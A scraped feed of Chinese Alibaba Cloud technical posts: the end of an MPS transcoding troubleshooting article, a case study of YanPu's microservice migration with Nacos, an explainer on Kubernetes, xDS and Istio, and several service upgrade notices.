        • 另类:没有后缀的文件也会触发工作流,触发后再判断是否在上述的视频封装格式内。

        也就是说只有上述几个条件的音视频才能触发工作流,除此之外是不会触发工作流的。工作流是和 OSS bucket 关联的,常用在有新文件上传到 OSS 时触发工作流的转码。

        案例分析 NoneExistFileURL

        背景:

        该案例是 Z 某调用 QueryMediaListByURL 接口时,返回的的 medialist 不存在,NoneExistFileURL 是 OSS 的存储地址。
        image.png

        QueryMediaListByURL:

        当上传文件到 OSS 触发工作流转码时,如果转码完成,可以通过 QueryMediaListByURL 接口查询转码完成后的媒体信息。这个接口只针对工作流触发的转码任务才能查询。

        或者存量视频可以让用户先调用 AddMedia 添加媒体信息,然后在调用 QueryMediaListByURL

        分析:

        -该案例 Z 某没有获取到 MediaList 内容,无非就两个原因:

        • 客户端不是触发工作流进行的转码,而是 SubmitJobs 进行的转码。
        • 配置的工作流没有触发。

        结论:

        经过确认是通过工作流转码,但是为什么没有触发呢?查看源文件才发现因为后缀是 QuickTime 的,不在我们上述支持的后缀反馈内,后续将后缀去掉就触发流转码。

        http://xxxx.oss-cn-hangzhou.aliyuncs.com/m3u8MultibitrateIn64/d13f51ca-de4b-11e8-a0b9-112a0a.quicktime

        案例分析 MPS 上云

        背景:

        客户端开发的 APP 将文件上传到 OSS ,调用转码服务后,将转码完成后返回一个 CDN 地址让客户端 APP 可以播放。

        分析:

        整个架构中涉及到四种产品 OSS、 CDN、 MPS 、MNS ,如果完整的串联起来提供高性能服务,由我给大家通过两张图介绍一下。

        image.png

        图中完整的将所有产品串联起来,关键缓解是视频上传、视频转码两个时间耗时。建议几个注意点:

        • app 要有完整的上传记录,包括 OSS requestID ,出现问题时便于让阿里云排查。
        • 客户的业务服务器提供回调的接口要记录日志,并且保证网络良好,能和 mns 正常通信。
        • 上传的视频一定遇见做好后缀判断和封装格式判断。
        • 第五步拼装客户端播放的 CDN 地址,客户可以通过 QueryMediaList 的接口,传入 mediaID 获取转码完成的输出地址文件后,将域名替换为 CDN 域名即可传给 APP 播放。
        • MPS(MTS) 会投递什么信息给 mns 可以参考,https://help.aliyun.com/knowledge_detail/50627.html 有详细的回调内容。

        案例:工作流无法自动触发进行转码

        【场景】:

        用户设置流工作流自动触发转码,但实际效果工作流没有被触发;

        【分析】

        1. )检查 工作流的输入源(OSS bucket)是否有文件上传,如果没有则不处罚,有的话继续排查
        2. )检查客户工作流是否设置了智能分析模版,如果设置了智能分析,转码要采用预置智能模版进行转码,因为智能分析的前置条件是动态参数转码不能使用静态的模版
        3. )与用户确认是否设置了手动触发转码 链接
        ]]>
        构建安全可靠的微服务 | Nacos 在颜铺 SaaS 平台的应用实践 Fri, 02 May 2025 09:39:04 +0800 1.jpeg

        作者 | 殷铭  颜铺科技架构师

        本文整理自架构师成长系列 3 月 19 日直播课程。
        关注“阿里巴巴云原生”公众号,回复 “319”,即可获取对应直播回放链接及 PPT 下载链接。

        导读:颜铺科技因美业⽽⽣,“颜铺专家”是一款专为美业商家打造的 SaaS 平台,为了能够给商户提供更加安全、稳定、高效的平台,我们在技术方面做了很多尝试,经过几次演进,使系统变得更加稳定可靠。今天主要和大家分享一下颜铺科技的架构演进,以及 Nacos 在颜铺的应用实践。

        单体应用时代

        2.png

        上图是我们单体服务时的架构图,分为会员、订单、门店等很多模块,看架构图似乎还算清晰,但是真正看到包结构的时候,真的令人头秃!改起代码特别头痛。单体服务带来的几个挑战:

        • 发布周期慢:虽然当时业务量不算大,但是代码量很大,业务迭代牵一发而动全身,每次发布需要对整个服务进行重新编译打包部署。特别是最开始在没有构建工具的时候,发布过程需要一堆的命令,总有一种 “一顿操作猛如虎,定睛一看原地杵” 的感觉。
        • 协同效率低:合并冲突多,有时你在前面开心地写代码,而别人在解决冲突时,可能也在开心地删着你的代码,增加了很多的沟通成本。
        • 稳定性差:当服务出现故障时,可能会导致整个系统不可用,并且系统不易扩容,当商户搞促销时,可能活动结束了,服务器还没有扩容完成。
        • 性能差:因为在单体服务内,有些开发人员为了满足自己的业务,很多无关业务间 SQL 联表查询,并且不关注性能问题,导致线上时常出现负载警告。 

        另外,我们在业务上也遇到了一些挑战:

        • 业务转型: 2018 年 6 月,我们公司决定从泛行业转向美业,需要打造一个专为美业商户提供技术支持的丽人 SaaS 平台。
        • 快速占领市场:业务的转型带来了更多商户的新需求,如果不能快速迭代,则意味着被市场淘汰。因此,提升开发效率,快速占领市场成为我们急需解决的问题。
        • 商户体验差:随着越来越多的商户入住,性能和可靠性的问题逐渐显现,出现问题,不能及时修正,商户体验变得很差,违背我们客户第一的原则。 

        综上所述,我们认为进行服务化改造刻不容缓。

        微服务改造

        经过公司开发同学们的讨论,我们最终决定分两步进行改造:
        服务化改造 1.0 的目标:

        • 用最小的改造成本先将新、旧商户平台进行打通,做到功能上的快速迁移;
        • 业务抽象,将新旧商户中心的公用部分进行抽象,并优化旧商户中心的代码逻辑,为后续的业务中台建设做好铺垫。

        服务化改造 2.0 的目标:初步建设业务中台,让平台的各种能力能够快速复用、快速组合,支持业务更快捷地探索与发展。
        服务化改造 1.0 预期效果:
        3.png

        • 我们希望老商户中心在对外提供服务的同时,还能够作为提供者,对新商户中心提供服务支持;
        • 新商户中心仅对外提供服务,不直连数据库,业务层只对美业的特殊逻辑进行处理。 

        因此,我们的想法是:新商户中心直接调用旧商户中心通过 Controller 暴露出的接口,进行远程调用,于是我们决定尝试使用 Spring Cloud 。

         服务发现选型:
        4.png

        • Consul 支持服务发现的同时,支持 kv 存储服务,因为我们想做一个配置中心的 KV 存储,所以想利用 Consul 做一个尝试;
        • 服务健康检查相对更为详细;
        • 在我们选型的期间,突然出现了 Eureka 2.x 开源工作宣告停止的消息,虽然后来发现,这个对我们并没有什么太大的影响,但在当时的决策让我们最终选择了 Consul 。 

        服务化改造 1.0 架构图:
        5.png

        服务化 1.0 我们的技术改造方案是:将旧的商户中心注册到 Consul 上面,新商户中心到 Consul 上获取服务器列表,通过 Feign 进行远程调用,打通了新老商户中心的功能。 

        经过服务化 1.0 的改造,我们解决了如下几个问题:

        • 功能快速完善:旧商户中心的功能快速迁移到了新的商户中心,并完成对美业的适配;
        • 迭代速度加快:新商户中心大部分功能,能够通过旧商户中心进行修改兼容,为后续的业务中台的抽象打好基础;
        • 性能优化:业务开发的同时,我们对旧商户中心的老代码进行优化,性能和稳定性均有所提高。 

        但服务化 1.0 改造后,还是有一些挑战没有解决:

        • 发布周期依旧不够快:大部分代码还是在就商户中心,业务迭代依然牵一发而动全身;
        • 协同效率没有提高:在代码冲突多,沟通成本高的同时,又出现了令开发同学头痛的新老业务的兼容问题;
        • 维护成本:Consul 是 Go 语言开发的,不易维护;Spring Cloud 在开发过程中体验不佳,在写业务的同时,还要摸索 Spring Cloud 的最佳实践,花费了一些时间去做 Spring Cloud 的基础建设。

        于是我们决定开启,服务化 2.0 的改造。
        服务化改造 2.0 的预期效果:
        6.png

        • 完成业务中台的初步建设,将模块重新划分,抽象为独立服务;
        • 新、旧商户中心服务仅做自己的业务兼容,并对外暴露接口;
        • 新增专门支持 H5、小程序 的 C 端 WEB 服务。 因 Spring Cloud 体验不佳,我们决定服务化改造 2.0 尝试使用 Dubbo 作为基础服务的 RPC 远程调用框架,因此我们要对注册中心进行选型。 

        首先,注册中心我认为应该具备的基本功能 :

        • 服务注册及时被发现,异常时的及时下线;
        • 服务管理,能够手动恢复/剔除服务;
        • 健康检查,检测服务是否可用;
        • 元数据管理;
        • 注册中心保证自身的高可用。

        7.png

        Zookeeper :

        • 不能保证每次服务请求都是可达的,当 zk 集群 master 挂掉时,需要进行选举,在选举期间中,服务是不可用的;
        • 不支持跨机房的路由,比如 eureka 的 zone,当前机房不可用时,可以路由到其他机房;
        • “惊群效应”, zk 的节点过多的时候,当 service 的节点发生变更,会同时通知到客户端,瞬时流量有可能将网卡瞬间打满,并且会有重复通知的问题。

        Nacos :

        • 注册中心部分更侧重于可用性
        • 服务发现与服务管理
        • 服务元数据的管理
        • 动态配置管理

        8.png

        在此期间,我们也关注到了 Spring Cloud Alibaba。阿里巴巴技术经受多年“双十一”的考验,其性能和稳定性是值得信任的。Spring Cloud Alibaba 的组件开源社区活跃度很高,并且比起国外开源项目更容易交流。其组件由 Java 语言开发,对我们来说更易维护,在出现问题时能够更快地定位问题进行修复。而且与阿里云配合,更加容易上云,比如 Nacos 可以与阿里云的 MSE 和 ACM 配合,将注册中心及配置管理全部上云。 9.png

        因此,我们决定拥抱阿里技术栈。 

        服务化改造2.0架构图:

        10.png

        我们将之前的模块直接抽到基础服务之中,新增了 会员、订单、门店 等服务作为Provider,暴露自己的Service,并注册到 Nacos 上。新商户中心服务做美业业务逻辑的处理,旧商户中心服务做泛行业的业务处理,C端服务同理对外提供服务。通过 Dubbo 进行远程调用。 

        通过服务化 2.0 的改造,效果如下:

        • 服务器成本降低30%:20+台服务器,由4核16G 降配到2核8G;
        • 系统可靠性提升80%:load 告警明显减少,线上的问题修正能够快速修复,完成部署;
        • 代码冲突减少75%:因为边界有了基本各自维护,冲突显著减少;
        • 发布迭代效率提升50%:之前5个人每个迭代开发评估可完成30个点,现在可完成45个点左右。

        Nacos 落地实践与问题分析

        Nacos 在我们公司处理做注册中心之外,配置管理也对我们提供了很好的服务。下面说一下,Nacos 我们的使用情况,以及我们遇到的问题。 

        首先是使用情况:

        • 部署方式:开发/测试环境单机部署,生产环境 3 台集群部署;
        • 版本:生产环境从 0.9.0 开始使用,目前生产环境使用的版本为 1.1.4 ;
        • 使用时间:2019 年 3 月份开始在生产环境下使用;
        • 服务数量:线上 20+ 台服务器,提供了 600+ 个服务;
        • 稳定性:一年的时间里没有出现大的问题,并且平滑升级;
        • 兼容性:新老服务,在我们公司无论是 Spring 4.3+ 的工程,还是 Spring Boot 的工程均兼容良好。 

        Nacos 注册中心:

        11.png

        • 服务注册:将后端服务注册到 Nacos,通过 Dubbo 进行调用。目前开发环境中我们正在测试Seata,并且也将 Seata 服务注册到 Nacos 上;
        • Namespace:服务统一注册到 public 中。 

        Nacos 配置管理:

        12.png

        每个服务设置独立的 Namespace 。 

        • 服务的配置文件信息:application.properties 全部配置到 Nacos,工程的配置文件仅保留 Nacos 相关配置;
        • 业务层的 KV 配置:比如业务开关,属性默认值,定时任务配置等;
        • MQ Topic 的动态配置:Binlog 服务采集动态发送到在 Nacos 配置的 topic 及其需要的表信息;
        • Sentinel 的规则配置:Sentinel 限流规则持久化到 Nacos 。

        问题描述:

        13.png

        2019 年 12 月 31 日,下午 3 点 15 分左右,线上突然出现大量服务告警,Dubbo 服务出现报错,整个过程持续约 3 多分钟。各个业务组当天均没有任何发布,数据库状态也良好。

        通过日志发现,报错原因是门店服务无法调用。而门店服务日志,出现问题的时间段内,没有任何的调用记录。系统恢复正常时,出现了很多服务注册的通知。

        因此,我们将问题瞄准了 Nacos。查看 Nacos 的日志发现,在系统恢复过程中,有大量的服务正在上线。

         就在排查的过程中,线上突然又出现了之前相同的告警,Nacos 上的服务列表开始大量变成不健康的状态,于是我们紧急重启了线上的 Nacos ,在这期间又经历了一个 3 分多钟的惊魂后,再次恢复了平静。 

        问题分析:

        • 两次出现的问题均是门店服务,但出现问题期间 JVM 和数据库的运行状态均良好;
        • 报错信息都是 Dubbo 调用超时,且出现问题期间,门店服务没有任何流量进入;
        • 出现问题时,注册在 Nacos 上的服务开始大量不健康。恢复正常时,这些服务又开始上线,说明出现问题时,服务被下线又重新上线。

         综上,我们开始怀疑是网络原因造成的。

         问题确认:

        14.png

        经过排查,发现我们的服务大多部署在 阿里云华东 1 可用区 B ,只有门店服务和 Nacos 集群没有部署在可用区 B ,说明这段时间可用区 B 与其他区之间的发生了网络隔离。

        于是,我们在可用区 B 紧急部署了门店服务,之后没有再出现问题。

        经过与阿里云的沟通确认于北京时间 2019 年 12 月 31 日 14:05 分左右开始,部分用户反馈阿里云华东 1 地域可用区 B 部分网络出现异常,影响部分云资源访问。

         问题复盘:

        • 问题出现:下午 3 点多,突然连续出现的服务告警, Dubbo 服务出现报错;
        • Nacos:Nacos 服务列表里大量服务出现不健康的状态;
        • 网络不通:可用区 B 与其它区网络不通,导致服务无法调用;
        • 紧急部署:在 B 区部署缺失的 门店服务;
        • 恢复正常。

         问题思考:

        • 服务部署:应用服务和Nacos建议多机房部署,即使在云上可用区之间也需要考虑;
        • 容灾:问题出现时,可用区 B 并没有部署 Nacos,但可用区B内的服务之间依然能调通,且能够读到 Nacos 上的配置。因此,我们认为 Nacos 以及 Dubbo 的容灾策略都是值得信赖的。 

        回顾与展望:

        15.png

        “颜铺专家”经过不断地快速迭代,帮助美业商家⾼效快捷地管理门店,进行经营数据分析,数据化管理门店,建⽴完善的会员周期管理体系,为美业商家在经营管理中,提供⼀体化的解决方案,将美业传统的门店经营模式进⾏互联网升级。截止到目前我们累计服务 3000 多个品牌,1.1W + 个⻔店。我们提供了店务管理系统、会员管理系统、营销拓客系统、大数据决策系统、供应链管理系统、员工绩效管理系统6⼤系统能力,同时⽀持 PC 端、手机 APP 、 pos 机、 iPad 操作,满⾜⻔店多端操作需求,覆盖⻔店经营管理中的所有场景需求。

        未来规划

        提升系统高可用

        • Seata :目前我们公司的分布式事务主要依赖 MQ 的补偿,今年准备引入 Seata 来完善分布式事务,保证数据一致性,减少开发修数据的情况;
        • Sentinel :目前 Sentinel 我们只是在商户做活动时启用,因此我们要配置出适用于我们公司的最佳实践,保证系统的高可用;
        • 全链路跟踪:我们公司现在定位问题主要靠日志和告警,做不到全链路的跟踪,所以我们要把这部分做好,做到故障快速定位,各调用环节性能分析,以及数据分析;
        • 异地容灾:随着来自全国各省的商户越来越多,我们需要对商户的数据保障,避免数据丢失,确保服务的可靠性。 

        社区回馈

        16.png

        因为我们的公司体量现在不大,我们能够做到的是尽可能地使用最新的版本,及时尝试新特性,对发现的问题提 issues,但我们也希望能够对 Nacos 开源社区尽一份我们的力量。

        作者信息:殷铭,颜铺科技架构师,负责颜铺 SAAS 平台中间件的应用和实践,主导了平台架构在颜铺向分布式演进的全过程,目前也负责大数据在颜铺平台的实践和落地。

        17.png

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

        ]]>
        Service Mesh——后 Kubernetes 时代的微服务 Fri, 02 May 2025 09:39:04 +0800 本文是以前所写内容的重新修订并收录于 ServiceMesher 社区的 Istio Handbook 中,其他章节仍在编纂中。

        刚听说 Service Mesh 并试用过 Istio 的人可能都会有下面几个疑问:

        1. 为什么 Istio 要绑定 Kubernetes 呢?
        2. Kubernetes 和 Service Mesh 分别在云原生中扮演什么角色?
        3. Istio 扩展了 Kubernetes 的哪些方面?解决了哪些问题?
        4. Kubernetes、xDS 协议(EnvoyMOSN 等)与 Istio 之间又是什么关系?
        5. 到底该不该上 Service Mesh?

        这一节我们将试图带您梳理清楚 Kubernetes、xDS 协议以及 Istio Service Mesh 之间的内在联系。此外,本节还将介绍 Kubernetes 中的负载均衡方式,xDS 协议对于 Service Mesh 的意义以及为什么说及时有了 Kubernetes 还需要 Istio。

        使用 Service Mesh 并不是说与 Kubernetes 决裂,而是水到渠成的事情。Kubernetes 的本质是通过声明式配置对应用进行生命周期管理,而 Service Mesh 的本质是提供应用间的流量和安全性管理以及可观察性。假如你已经使用 Kubernetes 构建了稳定的微服务平台,那么如何设置服务间调用的负载均衡和流量控制?

        Envoy 创造的 xDS 协议被众多开源软件所支持,如 IstioLinkerdMOSN 等。Envoy 对于 Service Mesh 或云原生来说最大的贡献就是定义了 xDS,Envoy 本质上是一个 proxy,是可通过 API 配置的现代版 proxy,基于它衍生出来很多不同的使用场景,如 API Gateway、Service Mesh 中的 Sidecar proxy 和边缘代理。

        本节包含以下内容

        • 说明 kube-proxy 的作用。
        • Kubernetes 在微服务管理上的局限性。
        • 介绍 Istio Service Mesh 的功能。
        • 介绍 xDS 包含哪些内容。
        • 比较 Kubernetes、Envoy 和 Istio Service Mesh 中的一些概念。

        重要观点

        如果你想要提前了解下文的所有内容,那么可以先阅读下面列出的本文中的一些主要观点:

        • Kubernetes 的本质是应用的生命周期管理,具体来说就是部署和管理(扩缩容、自动恢复、发布)。
        • Kubernetes 为微服务提供了可扩展、高弹性的部署和管理平台。
        • Service Mesh 的基础是透明代理,通过 sidecar proxy 拦截到微服务间流量后再通过控制平面配置管理微服务的行为。
        • Service Mesh 将流量管理从 Kubernetes 中解耦,Service Mesh 内部的流量无需 kube-proxy 组件的支持,通过为更接近微服务应用层的抽象,管理服务间的流量、安全性和可观察性。
        • xDS 定义了 Service Mesh 配置的协议标准。
        • Service Mesh 是对 Kubernetes 中的 service 更上层的抽象,它的下一步是 serverless。

        Kubernetes vs Service Mesh

        下图展示的是 Kubernetes 与 Service Mesh 中的的服务访问关系(每个 pod 一个 sidecar 的模式)。

        kubernetes 对比 service mesh

        流量转发

        Kubernetes 集群的每个节点都部署了一个 kube-proxy 组件,该组件会与 Kubernetes API Server 通信,获取集群中的 service 信息,然后设置 iptables 规则,直接将对某个 service 的请求发送到对应的 Endpoint(属于同一组 service 的 pod)上。

        服务发现

        Service Mesh 中的服务注册

        Istio Service Mesh 可以沿用了 Kubernetes 中的 service 做服务注册,还可以通过控制平面的平台适配器对接其他服务发现系统,然后生成数据平面的配置(使用 CRD 声明,保存在 etcd 中),数据平面的透明代理(transparent proxy)以 sidecar 容器的形式部署在每个应用服务的 pod 中,这些 proxy 都需要请求控制平面来同步代理配置。之所以说是透明代理,是因为应用程序容器完全无感知代理的存在,该过程 kube-proxy 组件一样需要拦截流量,只不过 kube-proxy 拦截的是进出 Kubernetes 节点的流量,而 sidecar proxy 拦截的是进出该 Pod 的流量,详见理解 Istio Service Mesh 中 Envoy Sidecar 代理的路由转发

        Service Mesh 的劣势

        因为 Kubernetes 每个节点上都会运行众多的 Pod,将原先 kube-proxy 方式的路由转发功能置于每个 pod 中,将导致大量的配置分发、同步和最终一致性问题。为了细粒度地进行流量管理,必将添加一系列新的抽象,从而会进一步增加用户的学习成本,但随着技术的普及,这样的情况会慢慢地得到缓解。

        Service Mesh 的优势

        kube-proxy 的设置都是全局生效的,无法对每个服务做细粒度的控制,而 Service Mesh 通过 sidecar proxy 的方式将 Kubernetes 中对流量的控制从 service 一层抽离出来,可以做更多的扩展。

        kube-proxy 组件

        在 Kubernetes 集群中,每个 Node 运行一个 kube-proxy 进程。kube-proxy 负责为 Service 实现了一种 VIP(虚拟 IP)的形式。 在 Kubernetes v1.0 版本,代理完全在 userspace 实现。Kubernetes v1.1 版本新增了 iptables 代理模式,但并不是默认的运行模式。从 Kubernetes v1.2 起,默认使用 iptables 代理。在 Kubernetes v1.8.0-beta.0 中,添加了 ipvs 代理模式。关于 kube-proxy 组件的更多介绍请参考 kubernetes 简介:service 和 kube-proxy 原理使用 IPVS 实现 Kubernetes 入口流量负载均衡

        kube-proxy 的缺陷

        kube-proxy 的不足之处

        首先,如果转发的 pod 不能正常提供服务,它不会自动尝试另一个 pod,当然这个可以通过 liveness probes 来解决。每个 pod 都有一个健康检查的机制,当有 pod 健康状况有问题时,kube-proxy 会删除对应的转发规则。另外,nodePort 类型的服务也无法添加 TLS 或者更复杂的报文路由机制。

        Kube-proxy 实现了流量在 Kubernetes service 多个 pod 实例间的负载均衡,但是如何对这些 service 间的流量做细粒度的控制,比如按照百分比划分流量到不同的应用版本(这些应用都属于同一个 service,但位于不同的 deployment 上),做金丝雀发布(灰度发布)和蓝绿发布?Kubernetes 社区给出了 使用 Deployment 做金丝雀发布的方法,该方法本质上就是通过修改 pod 的 label 来将不同的 pod 划归到 Deployment 的 Service 上。

        Kubernetes Ingress vs Istio Gateway

        上文说到 kube-proxy 只能路由 Kubernetes 集群内部的流量,而我们知道 Kubernetes 集群的 Pod 位于 CNI 创建的外网络中,集群外部是无法直接与其通信的,因此 Kubernetes 中创建了 ingress 这个资源对象,它由位于 Kubernetes 边缘节点(这样的节点可以是很多个也可以是一组)的 Ingress controller 驱动,负责管理南北向流量,Ingress 必须对接各种 Ingress Controller 才能使用,比如 nginx ingress controllertraefik。Ingress 只适用于 HTTP 流量,使用方式也很简单,只能对 service、port、HTTP 路径等有限字段匹配来路由流量,这导致它无法路由如 MySQL、Redis 和各种私有 RPC 等 TCP 流量。要想直接路由南北向的流量,只能使用 Service 的 LoadBalancer 或 NodePort,前者需要云厂商支持,后者需要进行额外的端口管理。有些 Ingress controller 支持暴露 TCP 和 UDP 服务,但是只能使用 Service 来暴露,Ingress 本身是不支持的,例如 nginx ingress controller,服务暴露的端口是通过创建 ConfigMap 的方式来配置的。

        Istio Gateway 的功能与 Kubernetes Ingress 类似,都是负责集群的南北向流量。Istio Gateway 描述的负载均衡器用于承载进出网格边缘的连接。该规范中描述了一系列开放端口和这些端口所使用的协议、负载均衡的 SNI 配置等内容。Gateway 是一种 CRD 扩展,它同时复用了 sidecar proxy 的能力,详细配置请参考 Istio 官网

        xDS 协议

        下面这张图大家在了解 Service Mesh 的时候可能都看到过,每个方块代表一个服务的实例,例如 Kubernetes 中的一个 Pod(其中包含了 sidecar proxy),xDS 协议控制了 Istio Service Mesh 中所有流量的具体行为,即将下图中的方块链接到了一起。

        Service Mesh 示意图

        xDS 协议是由 Envoy 提出的,在 Envoy v2 版本 API 中最原始的 xDS 协议指的是 CDS(Cluster Discovery Service)、EDS(Endpoint Discovery service)、LDS(Listener Discovery Service) 和 RDS(Route Discovery Service),后来在 v3 版本中又发展出了 Scoped Route Discovery Service(SRDS)、Virtual Host Discovery Service (VHDS)、Secret Discovery Service(SDS)、Runtime Discovery Service(RTDS)详见 xDS REST and gRPC protocol

        下面我们以各有两个实例的 service,来看下 xDS 协议。

        xDS 协议

        上图中的箭头不是流量进入 Proxy 后的路径或路由,也不是实际顺序,而是想象的一种 xDS 接口处理顺序,其实 xDS 之间也是有交叉引用的。

        支持 xDS 协议的代理通过查询文件或管理服务器来动态发现资源。概括地讲,对应的发现服务及其相应的 API 被称作 xDS。Envoy 通过订阅(subscription)方式来获取资源,订阅方式有以下三种:

        • 文件订阅:监控指定路径下的文件,发现动态资源的最简单方式就是将其保存于文件,并将路径配置在 ConfigSource 中的 path 参数中。
        • gRPC 流式订阅:每个 xDS API 可以单独配置 ApiConfigSource,指向对应的上游管理服务器的集群地址。
        • 轮询 REST-JSON 轮询订阅:单个 xDS API 可对 REST 端点进行的同步(长)轮询。

        以上的 xDS 订阅方式详情请参考 xDS 协议解析。Istio 使用 gRPC 流式订阅的方式配置所有的数据平面的 sidecar proxy。

        文章中介绍了 Istio pilot 的总体架构、proxy 配置的生成、pilot-discovery 模块的功能,以及 xDS 协议中的 CDS、EDS 及 ADS,关于 ADS 详情请参考 Envoy 官方文档

        xDS 协议要点

        最后总结下关于 xDS 协议的要点:

        • CDS、EDS、LDS、RDS 是最基础的 xDS 协议,它们可以分别独立更新。
        • 所有的发现服务(Discovery Service)可以连接不同的 Management Server,也就是说管理 xDS 的服务器可以是多个。
        • Envoy 在原始 xDS 协议的基础上进行了一些列扩充,增加了 SDS(秘钥发现服务)、ADS(聚合发现服务)、HDS(健康发现服务)、MS(Metric 服务)、RLS(速率限制服务)等 API。
        • 为了保证数据一致性,若直接使用 xDS 原始 API 的话,需要保证这样的顺序更新:CDS –> EDS –> LDS –> RDS,这是遵循电子工程中的先合后断(Make-Before-Break)原则,即在断开原来的连接之前先建立好新的连接,应用在路由里就是为了防止设置了新的路由规则的时候却无法发现上游集群而导致流量被丢弃的情况,类似于电路里的断路。
        • CDS 设置 Service Mesh 中有哪些服务。
        • EDS 设置哪些实例(Endpoint)属于这些服务(Cluster)。
        • LDS 设置实例上监听的端口以配置路由。
        • RDS 最终服务间的路由关系,应该保证最后更新 RDS。

        Envoy

        Envoy 是 Istio Service Mesh 中默认的 Sidecar,Istio 在 Enovy 的基础上按照 Envoy 的 xDS 协议扩展了其控制平面,在讲到 Envoy xDS 协议之前我们还需要先熟悉下 Envoy 的基本术语。下面列举了 Envoy 里的基本术语及其数据结构解析,关于 Envoy 的详细介绍请参考 Envoy 官方文档,至于 Envoy 在 Service Mesh(不仅限于 Istio) 中是如何作为转发代理工作的请参考网易云刘超的这篇深入解读 Service Mesh 背后的技术细节 以及理解 Istio Service Mesh 中 Envoy 代理 Sidecar 注入及流量劫持,本文引用其中的一些观点,详细内容不再赘述。

        Envoy proxy 架构图

        基本术语

        下面是您应该了解的 Enovy 里的基本术语:

        • Downstream(下游):下游主机连接到 Envoy,发送请求并接收响应,即发送请求的主机。
        • Upstream(上游):上游主机接收来自 Envoy 的连接和请求,并返回响应,即接受请求的主机。
        • Listener(监听器):监听器是命名网地址(例如,端口、unix domain socket 等),下游客户端可以连接这些监听器。Envoy 暴露一个或者多个监听器给下游主机连接。
        • Cluster(集群):集群是指 Envoy 连接的一组逻辑相同的上游主机。Envoy 通过服务发现来发现集群的成员。可以选择通过主动健康检查来确定集群成员的健康状态。Envoy 通过负载均衡策略决定将请求路由到集群的哪个成员。

        Envoy 中可以设置多个 Listener,每个 Listener 中又可以设置 filter chain(过滤器链表),而且过滤器是可扩展的,这样就可以更方便我们操作流量的行为,例如设置加密、私有 RPC 等。

        xDS 协议是由 Envoy 提出的,现在是 Istio 中默认的 sidecar proxy,但只要实现 xDS 协议理论上都是可以作为 Istio 中的 sidecar proxy 的,例如蚂蚁金服开源的 MOSN

        Istio Service Mesh

        Istio service mesh 架构图

        Istio 是一个功能十分丰富的 Service Mesh,它包括如下功能:

        • 流量管理:这是 Istio 的最基本的功能。
        • 策略控制:通过 Mixer 组件和各种适配器来实现,实现访问控制系统、遥测捕获、配额管理和计费等。
        • 可观测性:通过 Mixer 来实现。
        • 安全认证:Citadel 组件做密钥和证书管理。

        Istio 中的流量管理

        Istio 中定义了如下的 CRD 来帮助用户进行流量管理:

        • GatewayGateway 描述了在网络边缘运行的负载均衡器,用于接收传入或传出的HTTP / TCP连接。
        • VirtualServiceVirtualService 实际上将 Kubernetes 服务连接到 Istio Gateway。它还可以执行更多操作,例如定义一组流量路由规则,以便在主机被寻址时应用。
        • DestinationRuleDestinationRule 所定义的策略,决定了经过路由处理之后的流量的访问策略。简单的说就是定义流量如何路由。这些策略中可以定义负载均衡配置、连接池尺寸以及外部检测(用于在负载均衡池中对不健康主机进行识别和驱逐)配置。
        • EnvoyFilterEnvoyFilter 对象描述了针对代理服务的过滤器,这些过滤器可以定制由 Istio Pilot 生成的代理配置。这个配置初级用户一般很少用到。
        • ServiceEntry:默认情况下 Istio Service Mesh 中的服务是无法发现 Mesh 外的服务的,ServiceEntry 能够在 Istio 内部的服务注册表中加入额外的条目,从而让网格中自动发现的服务能够访问和路由到这些手工加入的服务。

        Kubernetes vs xDS vs Istio

        在阅读完上文对 Kubernetes 的 kube-proxy 组件、xDS 和 Istio 中流量管理的抽象概念之后,下面将带您仅就流量管理方面比较下三者对应的组件/协议(注意,三者不可以完全等同)。

        Kubernetes xDS Istio Service Mesh
        Endpoint Endpoint -
        Service Route VirtualService
        kube-proxy Route DestinationRule
        kube-proxy Listener EnvoyFilter
        Ingress Listener Gateway
        Service Cluster ServiceEntry

        总结

        如果说 Kubernetes 管理的对象是 Pod,那么 Service Mesh 中管理的对象就是一个个 Service,所以说使用 Kubernetes 管理微服务后再应用 Service Mesh 就是水到渠成了,如果连 Service 你也不想管了,那就用如 knative 这样的 serverless 平台,但这就是后话了。

        Envoy/MOSN 的功能也不只是做流量转发,以上概念只不过是 Istio 在 Kubernetes 之上新增一层抽象层中的冰山一角,但因为流量管理是服务网格最基础也是最重要的功能,所以这将成为本书的开始。

        参考

        ]]>
        【升级】4月1日DataHub升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【Datahub】升级通知
        升级窗口:北京时间2020年4月1日 10:00 - 18:00
        升级内容:产品稳定性升级
        升级区域:华北,华东,华南,新加坡,吉隆坡,孟买,德国
        升级影响:正常情况下对客户无影响,升级过程中如果遇到任何问题,可随时联系阿里云反馈。

        给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

        ]]>
        【升级】4月消息队列MQ升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列MQ】【升级通知】

        升级窗口:

        北京时间2020年04月2日 01:00 - 09:00

        北京时间2019年04月7日 01:00 - 09:00

        北京时间2019年04月9日 01:00 - 09:00

        北京时间2019年04月14日 01:00 - 09:00

        北京时间2019年04月16日 01:00 - 09:00

        北京时间2019年04月21日 01:00 - 09:00

        北京时间2019年04月23日 01:00 - 09:00

        北京时间2019年04月28日 01:00 - 09:00

        北京时间2019年04月30日 01:00 - 09:00
        升级内容:所有地域的MQ服务(包含Tcp、Mqtt、Http接入方式)。

        升级影响:升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但可能会有异常日志。
        升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。
        如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

        给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

        ]]>
        【升级】4月消息服务MNS升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息服务MNS】【升级通知】

        升级窗口:

        北京时间2020年4月2日 00:00 - 06:00

        北京时间2020年4月9日 00:00 - 06:00

        北京时间2020年4月16日 00:00 - 06:00

        北京时间2020年4月23日 00:00 - 06:00

        北京时间2020年4月30日 00:00 - 06:00

